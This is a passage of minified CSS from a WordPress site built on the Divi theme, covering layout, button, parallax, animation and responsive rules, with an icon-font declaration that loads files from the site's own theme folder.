a,abbr,acronym,address,applet,b,big,blockquote,body,center,cite,code,dd,del,dfn,div,dl,dt,em,fieldset,font,form,h1,h2,h3,h4,h5,h6,html,i,iframe,img,ins,kbd,label,legend,li,object,ol,p,pre,q,s,samp,small,span,strike,strong,sub,sup,tt,u,ul,var{margin:0;padding:0;border:0;outline:0;font-size:100%;-ms-text-size-adjust:100%;-webkit-text-size-adjust:100%;vertical-align:baseline;background:transparent}body{line-height:1}ol,ul{list-style:none}blockquote,q{quotes:none}blockquote:after,blockquote:before,q:after,q:before{content:"";content:none}blockquote{margin:20px 0 30px;border-left:5px solid;padding-left:20px}:focus{outline:0}del{text-decoration:line-through}pre{overflow:auto;padding:10px}figure{margin:0}table{border-collapse:collapse;border-spacing:0}article,aside,footer,header,hgroup,nav,section{display:block}body{font-family:Open Sans,Arial,sans-serif;font-size:14px;color:#666;background-color:#fff;line-height:1.7em;font-weight:500;-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale}body.page-template-page-template-blank-php #page-container{padding-top:0!important}body.et_cover_background{background-size:cover!important;background-position:top!important;background-repeat:no-repeat!important;background-attachment:fixed}a{color:#2ea3f2}a,a:hover{text-decoration:none}p{padding-bottom:1em}p:not(.has-background):last-of-type{padding-bottom:0}p.et_normal_padding{padding-bottom:1em}strong{font-weight:700}cite,em,i{font-style:italic}code,pre{font-family:Courier New,monospace;margin-bottom:10px}ins{text-decoration:none}sub,sup{height:0;line-height:1;position:relative;vertical-align:baseline}sup{bottom:.8em}sub{top:.3em}dl{margin:0 0 1.5em}dl dt{font-weight:700}dd{margin-left:1.5em}blockquote p{padding-bottom:0}embed,iframe,object,video{max-width:100%}h1,h2,h3,h4,h5,h6{color:#333;padding-bottom:10px;line-height:1em;font-weight:500}h1 a,h2 a,h3 a,h4 a,h5 a,h6 a{color:inherit}h1{font-size:30px}h2{font-size:26px}h3{font-size:22px}h4{font-size:18px}h5{font-size:16px}h6{font-size:14px}input{-webkit-appearance:none}input[type=checkbox]{-webkit-appearance:checkbox}input[type=radio]{-webkit-appearance:radio}input.text,input.title,input[type=email],input[type=password],input[type=tel],input[type=text],select,textarea{background-color:#fff;border:1px solid #bbb;padding:2px;color:#4e4e4e}input.text:focus,input.title:focus,input[type=text]:focus,select:focus,textarea:focus{border-color:#2d3940;color:#3e3e3e}input.text,input.title,input[type=text],select,textarea{margin:0}textarea{padding:4px}button,input,select,textarea{font-family:inherit}img{max-width:100%;height:auto}.clear{clear:both}br.clear{margin:0;padding:0}.pagination{clear:both}#et_search_icon:hover,.et-social-icon a:hover,.et_password_protected_form .et_submit_button,.form-submit .et_pb_buttontton.alt.disabled,.nav-single a,.posted_in a{color:#2ea3f2}.et-search-form,blockquote{border-color:#2ea3f2}#main-content{background-color:#fff}.container{width:80%;max-width:1080px;margin:auto;position:relative}body:not(.et-tb) #main-content .container,body:not(.et-tb-has-header) #main-content .container{padding-top:58px}.et_full_width_page #main-content .container:before{display:none}.main_title{margin-bottom:20px}.et_password_protected_form .et_submit_button:hover,.form-submit .et_pb_button:hover{background:rgba(0,0,0,.05)}.et_button_icon_visible .et_pb_button{padding-right:2em;padding-left:.7em}.et_button_icon_visible .et_pb_button:after{opacity:1;margin-left:0}.et_button_left .et_pb_button:hover:after{left:.15em}.et_button_left .et_pb_button:after{margin-left:0;left:1em}.et_button_icon_visible.et_button_left .et_pb_button,.et_button_left .et_pb_button:hover,.et_button_left .et_pb_module .et_pb_button:hover{padding-left:2em;padding-right:.7em}.et_button_icon_visible.et_button_left .et_pb_button:after,.et_button_left .et_pb_button:hover:after{left:.15em}.et_password_protected_form .et_submit_button:hover,.form-submit .et_pb_button:hover{padding:.3em 1em}.et_button_no_icon .et_pb_button:after{display:none}.et_button_no_icon.et_button_icon_visible.et_button_left .et_pb_button,.et_button_no_icon.et_button_left .et_pb_button:hover,.et_button_no_icon .et_pb_button,.et_button_no_icon .et_pb_button:hover{padding:.3em 1em!important}.et_button_custom_icon .et_pb_button:after{line-height:1.7em}.et_button_custom_icon.et_button_icon_visible .et_pb_button:after,.et_button_custom_icon .et_pb_button:hover:after{margin-left:.3em}#left-area .post_format-post-format-gallery .wp-block-gallery:first-of-type{padding:0;margin-bottom:-16px}.entry-content table:not(.variations){border:1px solid #eee;margin:0 0 15px;text-align:left;width:100%}.entry-content thead th,.entry-content tr th{color:#555;font-weight:700;padding:9px 24px}.entry-content tr td{border-top:1px solid #eee;padding:6px 24px}#left-area ul,.entry-content ul,.et-l--body ul,.et-l--footer ul,.et-l--header ul{list-style-type:disc;padding:0 0 23px 1em;line-height:26px}#left-area ol,.entry-content ol,.et-l--body ol,.et-l--footer ol,.et-l--header ol{list-style-type:decimal;list-style-position:inside;padding:0 0 23px;line-height:26px}#left-area ul li ul,.entry-content ul li ol{padding:2px 0 2px 20px}#left-area ol li ul,.entry-content ol li ol,.et-l--body ol li ol,.et-l--footer ol li ol,.et-l--header ol li ol{padding:2px 0 2px 35px}#left-area ul.wp-block-gallery{display:-webkit-box;display:-ms-flexbox;display:flex;-ms-flex-wrap:wrap;flex-wrap:wrap;list-style-type:none;padding:0}#left-area ul.products{padding:0!important;line-height:1.7!important;list-style:none!important}.gallery-item a{display:block}.gallery-caption,.gallery-item a{width:90%}#wpadminbar{z-index:100001}#left-area .post-meta{font-size:14px;padding-bottom:15px}#left-area .post-meta a{text-decoration:none;color:#666}#left-area .et_featured_image{padding-bottom:7px}.single .post{padding-bottom:25px}body.single .et_audio_content{margin-bottom:-6px}.nav-single a{text-decoration:none;color:#2ea3f2;font-size:14px;font-weight:400}.nav-previous{float:left}.nav-next{float:right}.et_password_protected_form p input{background-color:#eee;border:none!important;width:100%!important;border-radius:0!important;font-size:14px;color:#999!important;padding:16px!important;-webkit-box-sizing:border-box;box-sizing:border-box}.et_password_protected_form label{display:none}.et_password_protected_form .et_submit_button{font-family:inherit;display:block;float:right;margin:8px auto 0;cursor:pointer}.post-password-required p.nocomments.container{max-width:100%}.post-password-required p.nocomments.container:before{display:none}.aligncenter,div.post .new-post .aligncenter{display:block;margin-left:auto;margin-right:auto}.wp-caption{border:1px solid #ddd;text-align:center;background-color:#f3f3f3;margin-bottom:10px;max-width:96%;padding:8px}.wp-caption.alignleft{margin:0 30px 20px 0}.wp-caption.alignright{margin:0 0 20px 30px}.wp-caption img{margin:0;padding:0;border:0}.wp-caption p.wp-caption-text{font-size:12px;padding:0 4px 5px;margin:0}.alignright{float:right}.alignleft{float:left}img.alignleft{display:inline;float:left;margin-right:15px}img.alignright{display:inline;float:right;margin-left:15px}.page.et_pb_pagebuilder_layout #main-content{background-color:transparent}body #main-content .et_builder_inner_content>h1,body #main-content .et_builder_inner_content>h2,body #main-content .et_builder_inner_content>h3,body #main-content .et_builder_inner_content>h4,body #main-content .et_builder_inner_content>h5,body #main-content .et_builder_inner_content>h6{line-height:1.4em}body #main-content .et_builder_inner_content>p{line-height:1.7em}.wp-block-pullquote{margin:20px 0 30px}.wp-block-pullquote.has-background blockquote{border-left:none}.wp-block-group.has-background{padding:1.5em 1.5em .5em}@media (min-width:981px){#left-area{width:79.125%;padding-bottom:23px}#main-content .container:before{content:"";position:absolute;top:0;height:100%;width:1px;background-color:#e2e2e2}.et_full_width_page #left-area,.et_no_sidebar #left-area{float:none;width:100%!important}.et_full_width_page #left-area{padding-bottom:0}.et_no_sidebar #main-content .container:before{display:none}}@media (max-width:980px){#page-container{padding-top:80px}.et-tb #page-container,.et-tb-has-header #page-container{padding-top:0!important}#left-area,#sidebar{width:100%!important}#main-content .container:before{display:none!important}.et_full_width_page .et_gallery_item:nth-child(4n+1){clear:none}}@media print{#page-container{padding-top:0!important}}#wp-admin-bar-et-use-visual-builder a:before{font-family:ETmodules!important;content:"\e625";font-size:30px!important;width:28px;margin-top:-3px;color:#974df3!important}#wp-admin-bar-et-use-visual-builder:hover a:before{color:#fff!important}#wp-admin-bar-et-use-visual-builder:hover a,#wp-admin-bar-et-use-visual-builder a:hover{transition:background-color .5s ease;-webkit-transition:background-color .5s ease;-moz-transition:background-color .5s ease;background-color:#7e3bd0!important;color:#fff!important}* html .clearfix,:first-child+html .clearfix{zoom:1}.iphone .et_pb_section_video_bg video::-webkit-media-controls-start-playback-button{display:none!important;-webkit-appearance:none}.et_mobile_device .et_pb_section_parallax .et_pb_parallax_css{background-attachment:scroll}.et-social-facebook a.icon:before{content:"\e093"}.et-social-twitter a.icon:before{content:"\e094"}.et-social-google-plus a.icon:before{content:"\e096"}.et-social-instagram a.icon:before{content:"\e09a"}.et-social-rss a.icon:before{content:"\e09e"}.ai1ec-single-event:after{content:" ";display:table;clear:both}.evcal_event_details .evcal_evdata_cell .eventon_details_shading_bot.eventon_details_shading_bot{z-index:3}.wp-block-divi-layout{margin-bottom:1em}*{-webkit-box-sizing:border-box;box-sizing:border-box}#et-info-email:before,#et-info-phone:before,#et_search_icon:before,.comment-reply-link:after,.et-cart-info span:before,.et-pb-arrow-next:before,.et-pb-arrow-prev:before,.et-social-icon a:before,.et_audio_container .mejs-playpause-button button:before,.et_audio_container .mejs-volume-button button:before,.et_overlay:before,.et_password_protected_form .et_submit_button:after,.et_pb_button:after,.et_pb_contact_reset:after,.et_pb_contact_submit:after,.et_pb_font_icon:before,.et_pb_newsletter_button:after,.et_pb_pricing_table_button:after,.et_pb_promo_button:after,.et_pb_testimonial:before,.et_pb_toggle_title:before,.form-submit .et_pb_button:after,.mobile_menu_bar:before,a.et_pb_more_button:after{font-family:ETmodules!important;speak:none;font-style:normal;font-weight:400;-webkit-font-feature-settings:normal;font-feature-settings:normal;font-variant:normal;text-transform:none;line-height:1;-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale;text-shadow:0 0;direction:ltr}.et-pb-icon,.et_pb_custom_button_icon.et_pb_button:after,.et_pb_login .et_pb_custom_button_icon.et_pb_button:after,.et_pb_woo_custom_button_icon .button.et_pb_custom_button_icon.et_pb_button:after,.et_pb_woo_custom_button_icon .button.et_pb_custom_button_icon.et_pb_button:hover:after{content:attr(data-icon)}.et-pb-icon{font-family:ETmodules;speak:none;font-weight:400;-webkit-font-feature-settings:normal;font-feature-settings:normal;font-variant:normal;text-transform:none;line-height:1;-webkit-font-smoothing:antialiased;font-size:96px;font-style:normal;display:inline-block;-webkit-box-sizing:border-box;box-sizing:border-box;direction:ltr}#et-ajax-saving{display:none;-webkit-transition:background .3s,-webkit-box-shadow .3s;transition:background .3s,-webkit-box-shadow .3s;transition:background .3s,box-shadow .3s;transition:background .3s,box-shadow .3s,-webkit-box-shadow .3s;-webkit-box-shadow:rgba(0,139,219,.247059) 0 0 60px;box-shadow:0 0 60px rgba(0,139,219,.247059);position:fixed;top:50%;left:50%;width:50px;height:50px;background:#fff;border-radius:50px;margin:-25px 0 0 -25px;z-index:999999;text-align:center}#et-ajax-saving img{margin:9px}.et-safe-mode-indicator,.et-safe-mode-indicator:focus,.et-safe-mode-indicator:hover{-webkit-box-shadow:0 5px 10px rgba(41,196,169,.15);box-shadow:0 5px 10px rgba(41,196,169,.15);background:#29c4a9;color:#fff;font-size:14px;font-weight:600;padding:12px;line-height:16px;border-radius:3px;position:fixed;bottom:30px;right:30px;z-index:999999;text-decoration:none;font-family:Open Sans,sans-serif;-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale}.et_pb_button{font-size:20px;font-weight:500;padding:.3em 1em;line-height:1.7em!important;background-color:transparent;background-size:cover;background-position:50%;background-repeat:no-repeat;border:2px solid;border-radius:3px;-webkit-transition-duration:.2s;transition-duration:.2s;-webkit-transition-property:all!important;transition-property:all!important}.et_pb_button,.et_pb_button_inner{position:relative}.et_pb_button:hover,.et_pb_module .et_pb_button:hover{border:2px solid transparent;padding:.3em 2em .3em .7em}.et_pb_button:hover{background-color:hsla(0,0%,100%,.2)}.et_pb_bg_layout_light.et_pb_button:hover,.et_pb_bg_layout_light .et_pb_button:hover{background-color:rgba(0,0,0,.05)}.et_pb_button:after,.et_pb_button:before{font-size:32px;line-height:1em;content:"\35";opacity:0;position:absolute;margin-left:-1em;-webkit-transition:all .2s;transition:all .2s;text-transform:none;-webkit-font-feature-settings:"kern" off;font-feature-settings:"kern" off;font-variant:none;font-style:normal;font-weight:400;text-shadow:none}.et_pb_button.et_hover_enabled:hover:after,.et_pb_button.et_pb_hovered:hover:after{-webkit-transition:none!important;transition:none!important}.et_pb_button:before{display:none}.et_pb_button:hover:after{opacity:1;margin-left:0}.et_pb_column_1_3 h1,.et_pb_column_1_4 h1,.et_pb_column_1_5 h1,.et_pb_column_1_6 h1,.et_pb_column_2_5 h1{font-size:26px}.et_pb_column_1_3 h2,.et_pb_column_1_4 h2,.et_pb_column_1_5 h2,.et_pb_column_1_6 h2,.et_pb_column_2_5 h2{font-size:23px}.et_pb_column_1_3 h3,.et_pb_column_1_4 h3,.et_pb_column_1_5 h3,.et_pb_column_1_6 h3,.et_pb_column_2_5 h3{font-size:20px}.et_pb_column_1_3 h4,.et_pb_column_1_4 h4,.et_pb_column_1_5 h4,.et_pb_column_1_6 h4,.et_pb_column_2_5 h4{font-size:18px}.et_pb_column_1_3 h5,.et_pb_column_1_4 h5,.et_pb_column_1_5 h5,.et_pb_column_1_6 h5,.et_pb_column_2_5 h5{font-size:16px}.et_pb_column_1_3 h6,.et_pb_column_1_4 h6,.et_pb_column_1_5 h6,.et_pb_column_1_6 h6,.et_pb_column_2_5 h6{font-size:15px}.et_pb_bg_layout_dark,.et_pb_bg_layout_dark h1,.et_pb_bg_layout_dark h2,.et_pb_bg_layout_dark h3,.et_pb_bg_layout_dark h4,.et_pb_bg_layout_dark h5,.et_pb_bg_layout_dark h6{color:#fff!important}.et_pb_module.et_pb_text_align_left{text-align:left}.et_pb_module.et_pb_text_align_center{text-align:center}.et_pb_module.et_pb_text_align_right{text-align:right}.et_pb_module.et_pb_text_align_justified{text-align:justify}.clearfix:after{visibility:hidden;display:block;font-size:0;content:" ";clear:both;height:0}.et_pb_bg_layout_light .et_pb_more_button{color:#2ea3f2}.et_builder_inner_content{position:relative;z-index:1}header .et_builder_inner_content{z-index:2}.et_pb_css_mix_blend_mode_passthrough{mix-blend-mode:unset!important}.et_pb_image_container{margin:-20px -20px 29px}.et_pb_module_inner{position:relative}.et_hover_enabled_preview{z-index:2}.et_hover_enabled:hover{position:relative;z-index:2}.et_pb_all_tabs,.et_pb_module,.et_pb_posts_nav a,.et_pb_tab,.et_pb_with_background{position:relative;background-size:cover;background-position:50%;background-repeat:no-repeat}.et_pb_background_mask,.et_pb_background_pattern{bottom:0;left:0;position:absolute;right:0;top:0}.et_pb_background_mask{background-size:calc(100% + 2px) calc(100% + 2px);background-repeat:no-repeat;background-position:50%;overflow:hidden}.et_pb_background_pattern{background-position:0 0;background-repeat:repeat}.et_pb_with_border{position:relative;border:0 solid #333}.post-password-required .et_pb_row{padding:0;width:100%}.post-password-required .et_password_protected_form{min-height:0}body.et_pb_pagebuilder_layout.et_pb_show_title .post-password-required .et_password_protected_form h1,body:not(.et_pb_pagebuilder_layout) .post-password-required .et_password_protected_form h1{display:none}.et_pb_no_bg{padding:0!important}.et_overlay.et_pb_inline_icon:before,.et_pb_inline_icon:before{content:attr(data-icon)}.et_pb_more_button{color:inherit;text-shadow:none;text-decoration:none;display:inline-block;margin-top:20px}.et_parallax_bg_wrap{overflow:hidden;position:absolute;top:0;right:0;bottom:0;left:0}.et_parallax_bg{background-repeat:no-repeat;background-position:top;background-size:cover;position:absolute;bottom:0;left:0;width:100%;height:100%;display:block}.et_parallax_bg.et_parallax_bg__hover,.et_parallax_bg.et_parallax_bg_phone,.et_parallax_bg.et_parallax_bg_tablet,.et_parallax_gradient.et_parallax_gradient__hover,.et_parallax_gradient.et_parallax_gradient_phone,.et_parallax_gradient.et_parallax_gradient_tablet,.et_pb_section_parallax_hover:hover .et_parallax_bg:not(.et_parallax_bg__hover),.et_pb_section_parallax_hover:hover .et_parallax_gradient:not(.et_parallax_gradient__hover){display:none}.et_pb_section_parallax_hover:hover .et_parallax_bg.et_parallax_bg__hover,.et_pb_section_parallax_hover:hover .et_parallax_gradient.et_parallax_gradient__hover{display:block}.et_parallax_gradient{bottom:0;display:block;left:0;position:absolute;right:0;top:0}.et_pb_module.et_pb_section_parallax,.et_pb_posts_nav a.et_pb_section_parallax,.et_pb_tab.et_pb_section_parallax{position:relative}.et_pb_section_parallax .et_pb_parallax_css,.et_pb_slides .et_parallax_bg.et_pb_parallax_css{background-attachment:fixed}body.et-bfb .et_pb_section_parallax .et_pb_parallax_css,body.et-bfb .et_pb_slides .et_parallax_bg.et_pb_parallax_css{background-attachment:scroll;bottom:auto}.et_pb_section_parallax.et_pb_column .et_pb_module,.et_pb_section_parallax.et_pb_row .et_pb_column,.et_pb_section_parallax.et_pb_row .et_pb_module{z-index:9;position:relative}.et_pb_more_button:hover:after{opacity:1;margin-left:0}.et_pb_preload .et_pb_section_video_bg,.et_pb_preload>div{visibility:hidden}.et_pb_preload,.et_pb_section.et_pb_section_video.et_pb_preload{position:relative;background:#464646!important}.et_pb_preload:before{content:"";position:absolute;top:50%;left:50%;background:url(http://haggai-bf.org/wp-content/themes/Divi/includes/builder/styles/images/preloader.gif) no-repeat;border-radius:32px;width:32px;height:32px;margin:-16px 0 0 -16px}.box-shadow-overlay{position:absolute;top:0;left:0;width:100%;height:100%;z-index:10;pointer-events:none}.et_pb_section>.box-shadow-overlay~.et_pb_row{z-index:11}body.safari .section_has_divider{will-change:transform}.et_pb_row>.box-shadow-overlay{z-index:8}.has-box-shadow-overlay{position:relative}.et_clickable{cursor:pointer}.screen-reader-text{border:0;clip:rect(1px,1px,1px,1px);-webkit-clip-path:inset(50%);clip-path:inset(50%);height:1px;margin:-1px;overflow:hidden;padding:0;position:absolute!important;width:1px;word-wrap:normal!important}.et_multi_view_hidden,.et_multi_view_hidden_image{display:none!important}@keyframes multi-view-image-fade{0%{opacity:0}10%{opacity:.1}20%{opacity:.2}30%{opacity:.3}40%{opacity:.4}50%{opacity:.5}60%{opacity:.6}70%{opacity:.7}80%{opacity:.8}90%{opacity:.9}to{opacity:1}}.et_multi_view_image__loading{visibility:hidden}.et_multi_view_image__loaded{-webkit-animation:multi-view-image-fade .5s;animation:multi-view-image-fade .5s}#et-pb-motion-effects-offset-tracker{visibility:hidden!important;opacity:0;position:absolute;top:0;left:0}.et-pb-before-scroll-animation{opacity:0}header.et-l.et-l--header:after{clear:both;display:block;content:""}.et_pb_module{-webkit-animation-timing-function:linear;animation-timing-function:linear;-webkit-animation-duration:.2s;animation-duration:.2s}@-webkit-keyframes fadeBottom{0%{opacity:0;-webkit-transform:translateY(10%);transform:translateY(10%)}to{opacity:1;-webkit-transform:translateY(0);transform:translateY(0)}}@keyframes fadeBottom{0%{opacity:0;-webkit-transform:translateY(10%);transform:translateY(10%)}to{opacity:1;-webkit-transform:translateY(0);transform:translateY(0)}}@-webkit-keyframes fadeLeft{0%{opacity:0;-webkit-transform:translateX(-10%);transform:translateX(-10%)}to{opacity:1;-webkit-transform:translateX(0);transform:translateX(0)}}@keyframes fadeLeft{0%{opacity:0;-webkit-transform:translateX(-10%);transform:translateX(-10%)}to{opacity:1;-webkit-transform:translateX(0);transform:translateX(0)}}@-webkit-keyframes fadeRight{0%{opacity:0;-webkit-transform:translateX(10%);transform:translateX(10%)}to{opacity:1;-webkit-transform:translateX(0);transform:translateX(0)}}@keyframes fadeRight{0%{opacity:0;-webkit-transform:translateX(10%);transform:translateX(10%)}to{opacity:1;-webkit-transform:translateX(0);transform:translateX(0)}}@-webkit-keyframes fadeTop{0%{opacity:0;-webkit-transform:translateY(-10%);transform:translateY(-10%)}to{opacity:1;-webkit-transform:translateX(0);transform:translateX(0)}}@keyframes fadeTop{0%{opacity:0;-webkit-transform:translateY(-10%);transform:translateY(-10%)}to{opacity:1;-webkit-transform:translateX(0);transform:translateX(0)}}@-webkit-keyframes fadeIn{0%{opacity:0}to{opacity:1}}@keyframes fadeIn{0%{opacity:0}to{opacity:1}}.et-waypoint:not(.et_pb_counters){opacity:0}@media (min-width:981px){.et_pb_section.et_section_specialty div.et_pb_row .et_pb_column .et_pb_column .et_pb_module.et-last-child,.et_pb_section.et_section_specialty div.et_pb_row .et_pb_column .et_pb_column .et_pb_module:last-child,.et_pb_section.et_section_specialty div.et_pb_row .et_pb_column .et_pb_row_inner .et_pb_column .et_pb_module.et-last-child,.et_pb_section.et_section_specialty div.et_pb_row .et_pb_column .et_pb_row_inner .et_pb_column .et_pb_module:last-child,.et_pb_section div.et_pb_row .et_pb_column .et_pb_module.et-last-child,.et_pb_section div.et_pb_row .et_pb_column .et_pb_module:last-child{margin-bottom:0}}@media (max-width:980px){.et_overlay.et_pb_inline_icon_tablet:before,.et_pb_inline_icon_tablet:before{content:attr(data-icon-tablet)}.et_parallax_bg.et_parallax_bg_tablet_exist,.et_parallax_gradient.et_parallax_gradient_tablet_exist{display:none}.et_parallax_bg.et_parallax_bg_tablet,.et_parallax_gradient.et_parallax_gradient_tablet{display:block}.et_pb_column .et_pb_module{margin-bottom:30px}.et_pb_row .et_pb_column .et_pb_module.et-last-child,.et_pb_row .et_pb_column .et_pb_module:last-child,.et_section_specialty .et_pb_row .et_pb_column .et_pb_module.et-last-child,.et_section_specialty .et_pb_row .et_pb_column .et_pb_module:last-child{margin-bottom:0}.et_pb_more_button{display:inline-block!important}.et_pb_bg_layout_light_tablet.et_pb_button,.et_pb_bg_layout_light_tablet.et_pb_module.et_pb_button,.et_pb_bg_layout_light_tablet .et_pb_more_button{color:#2ea3f2}.et_pb_bg_layout_light_tablet .et_pb_forgot_password a{color:#666}.et_pb_bg_layout_light_tablet h1,.et_pb_bg_layout_light_tablet h2,.et_pb_bg_layout_light_tablet h3,.et_pb_bg_layout_light_tablet h4,.et_pb_bg_layout_light_tablet h5,.et_pb_bg_layout_light_tablet h6{color:#333!important}.et_pb_module .et_pb_bg_layout_light_tablet.et_pb_button{color:#2ea3f2!important}.et_pb_bg_layout_light_tablet{color:#666!important}.et_pb_bg_layout_dark_tablet,.et_pb_bg_layout_dark_tablet h1,.et_pb_bg_layout_dark_tablet h2,.et_pb_bg_layout_dark_tablet h3,.et_pb_bg_layout_dark_tablet h4,.et_pb_bg_layout_dark_tablet h5,.et_pb_bg_layout_dark_tablet h6{color:#fff!important}.et_pb_bg_layout_dark_tablet.et_pb_button,.et_pb_bg_layout_dark_tablet.et_pb_module.et_pb_button,.et_pb_bg_layout_dark_tablet .et_pb_more_button{color:inherit}.et_pb_bg_layout_dark_tablet .et_pb_forgot_password a{color:#fff}.et_pb_module.et_pb_text_align_left-tablet{text-align:left}.et_pb_module.et_pb_text_align_center-tablet{text-align:center}.et_pb_module.et_pb_text_align_right-tablet{text-align:right}.et_pb_module.et_pb_text_align_justified-tablet{text-align:justify}}@media (max-width:767px){.et_pb_more_button{display:inline-block!important}.et_overlay.et_pb_inline_icon_phone:before,.et_pb_inline_icon_phone:before{content:attr(data-icon-phone)}.et_parallax_bg.et_parallax_bg_phone_exist,.et_parallax_gradient.et_parallax_gradient_phone_exist{display:none}.et_parallax_bg.et_parallax_bg_phone,.et_parallax_gradient.et_parallax_gradient_phone{display:block}.et-hide-mobile{display:none!important}.et_pb_bg_layout_light_phone.et_pb_button,.et_pb_bg_layout_light_phone.et_pb_module.et_pb_button,.et_pb_bg_layout_light_phone .et_pb_more_button{color:#2ea3f2}.et_pb_bg_layout_light_phone .et_pb_forgot_password a{color:#666}.et_pb_bg_layout_light_phone h1,.et_pb_bg_layout_light_phone h2,.et_pb_bg_layout_light_phone h3,.et_pb_bg_layout_light_phone h4,.et_pb_bg_layout_light_phone h5,.et_pb_bg_layout_light_phone h6{color:#333!important}.et_pb_module .et_pb_bg_layout_light_phone.et_pb_button{color:#2ea3f2!important}.et_pb_bg_layout_light_phone{color:#666!important}.et_pb_bg_layout_dark_phone,.et_pb_bg_layout_dark_phone h1,.et_pb_bg_layout_dark_phone h2,.et_pb_bg_layout_dark_phone h3,.et_pb_bg_layout_dark_phone h4,.et_pb_bg_layout_dark_phone h5,.et_pb_bg_layout_dark_phone h6{color:#fff!important}.et_pb_bg_layout_dark_phone.et_pb_button,.et_pb_bg_layout_dark_phone.et_pb_module.et_pb_button,.et_pb_bg_layout_dark_phone .et_pb_more_button{color:inherit}.et_pb_module .et_pb_bg_layout_dark_phone.et_pb_button{color:#fff!important}.et_pb_bg_layout_dark_phone .et_pb_forgot_password a{color:#fff}.et_pb_module.et_pb_text_align_left-phone{text-align:left}.et_pb_module.et_pb_text_align_center-phone{text-align:center}.et_pb_module.et_pb_text_align_right-phone{text-align:right}.et_pb_module.et_pb_text_align_justified-phone{text-align:justify}}@media (max-width:479px){a.et_pb_more_button{display:block}}@media (min-width:768px) and (max-width:980px){[data-et-multi-view-load-tablet-hidden=true]:not(.et_multi_view_swapped){display:none!important}}@media (max-width:767px){[data-et-multi-view-load-phone-hidden=true]:not(.et_multi_view_swapped){display:none!important}}.et_pb_menu.et_pb_menu--style-inline_centered_logo .et_pb_menu__menu nav ul{-webkit-box-pack:center;-ms-flex-pack:center;justify-content:center}@-webkit-keyframes multi-view-image-fade{0%{-webkit-transform:scale(1);transform:scale(1);opacity:1}50%{-webkit-transform:scale(1.01);transform:scale(1.01);opacity:1}to{-webkit-transform:scale(1);transform:scale(1);opacity:1}}
/*# sourceURL=divi-style-parent-inline-inline-css */
</style>
<style id="divi-dynamic-critical-inline-css">
@font-face{font-family:ETmodules;font-display:block;src:url(//haggai-bf.org/wp-content/themes/Divi/core/admin/fonts/modules/all/modules.eot);src:url(//haggai-bf.org/wp-content/themes/Divi/core/admin/fonts/modules/all/modules.eot?#iefix) format("embedded-opentype"),url(//haggai-bf.org/wp-content/themes/Divi/core/admin/fonts/modules/all/modules.woff) format("woff"),url(//haggai-bf.org/wp-content/themes/Divi/core/admin/fonts/modules/all/modules.ttf) format("truetype"),url(//haggai-bf.org/wp-content/themes/Divi/core/admin/fonts/modules/all/modules.svg#ETmodules) format("svg");font-weight:400;font-style:normal}
@media (min-width:981px){.et_pb_gutters3 .et_pb_column,.et_pb_gutters3.et_pb_row .et_pb_column{margin-right:5.5%}.et_pb_gutters3 .et_pb_column_4_4,.et_pb_gutters3.et_pb_row .et_pb_column_4_4{width:100%}.et_pb_gutters3 .et_pb_column_4_4 .et_pb_module,.et_pb_gutters3.et_pb_row .et_pb_column_4_4 .et_pb_module{margin-bottom:2.75%}.et_pb_gutters3 .et_pb_column_3_4,.et_pb_gutters3.et_pb_row .et_pb_column_3_4{width:73.625%}.et_pb_gutters3 .et_pb_column_3_4 .et_pb_module,.et_pb_gutters3.et_pb_row .et_pb_column_3_4 .et_pb_module{margin-bottom:3.735%}.et_pb_gutters3 .et_pb_column_2_3,.et_pb_gutters3.et_pb_row .et_pb_column_2_3{width:64.833%}.et_pb_gutters3 .et_pb_column_2_3 .et_pb_module,.et_pb_gutters3.et_pb_row .et_pb_column_2_3 .et_pb_module{margin-bottom:4.242%}.et_pb_gutters3 .et_pb_column_3_5,.et_pb_gutters3.et_pb_row .et_pb_column_3_5{width:57.8%}.et_pb_gutters3 .et_pb_column_3_5 .et_pb_module,.et_pb_gutters3.et_pb_row .et_pb_column_3_5 .et_pb_module{margin-bottom:4.758%}.et_pb_gutters3 .et_pb_column_1_2,.et_pb_gutters3.et_pb_row .et_pb_column_1_2{width:47.25%}.et_pb_gutters3 .et_pb_column_1_2 .et_pb_module,.et_pb_gutters3.et_pb_row .et_pb_column_1_2 .et_pb_module{margin-bottom:5.82%}.et_pb_gutters3 .et_pb_column_2_5,.et_pb_gutters3.et_pb_row .et_pb_column_2_5{width:36.7%}.et_pb_gutters3 .et_pb_column_2_5 .et_pb_module,.et_pb_gutters3.et_pb_row .et_pb_column_2_5 .et_pb_module{margin-bottom:7.493%}.et_pb_gutters3 .et_pb_column_1_3,.et_pb_gutters3.et_pb_row .et_pb_column_1_3{width:29.6667%}.et_pb_gutters3 .et_pb_column_1_3 .et_pb_module,.et_pb_gutters3.et_pb_row .et_pb_column_1_3 .et_pb_module{margin-bottom:9.27%}.et_pb_gutters3 .et_pb_column_1_4,.et_pb_gutters3.et_pb_row .et_pb_column_1_4{width:20.875%}.et_pb_gutters3 .et_pb_column_1_4 .et_pb_module,.et_pb_gutters3.et_pb_row .et_pb_column_1_4 .et_pb_module{margin-bottom:13.174%}.et_pb_gutters3 .et_pb_column_1_5,.et_pb_gutters3.et_pb_row .et_pb_column_1_5{width:15.6%}.et_pb_gutters3 .et_pb_column_1_5 .et_pb_module,.et_pb_gutters3.et_pb_row .et_pb_column_1_5 .et_pb_module{margin-bottom:17.628%}.et_pb_gutters3 .et_pb_column_1_6,.et_pb_gutters3.et_pb_row .et_pb_column_1_6{width:12.0833%}.et_pb_gutters3 .et_pb_column_1_6 .et_pb_module,.et_pb_gutters3.et_pb_row .et_pb_column_1_6 .et_pb_module{margin-bottom:22.759%}.et_pb_gutters3 .et_full_width_page.woocommerce-page ul.products li.product{width:20.875%;margin-right:5.5%;margin-bottom:5.5%}.et_pb_gutters3.et_left_sidebar.woocommerce-page #main-content ul.products li.product,.et_pb_gutters3.et_right_sidebar.woocommerce-page #main-content ul.products li.product{width:28.353%;margin-right:7.47%}.et_pb_gutters3.et_left_sidebar.woocommerce-page #main-content ul.products.columns-1 li.product,.et_pb_gutters3.et_right_sidebar.woocommerce-page #main-content ul.products.columns-1 li.product{width:100%;margin-right:0}.et_pb_gutters3.et_left_sidebar.woocommerce-page #main-content ul.products.columns-2 li.product,.et_pb_gutters3.et_right_sidebar.woocommerce-page #main-content ul.products.columns-2 li.product{width:48%;margin-right:4%}.et_pb_gutters3.et_left_sidebar.woocommerce-page #main-content ul.products.columns-2 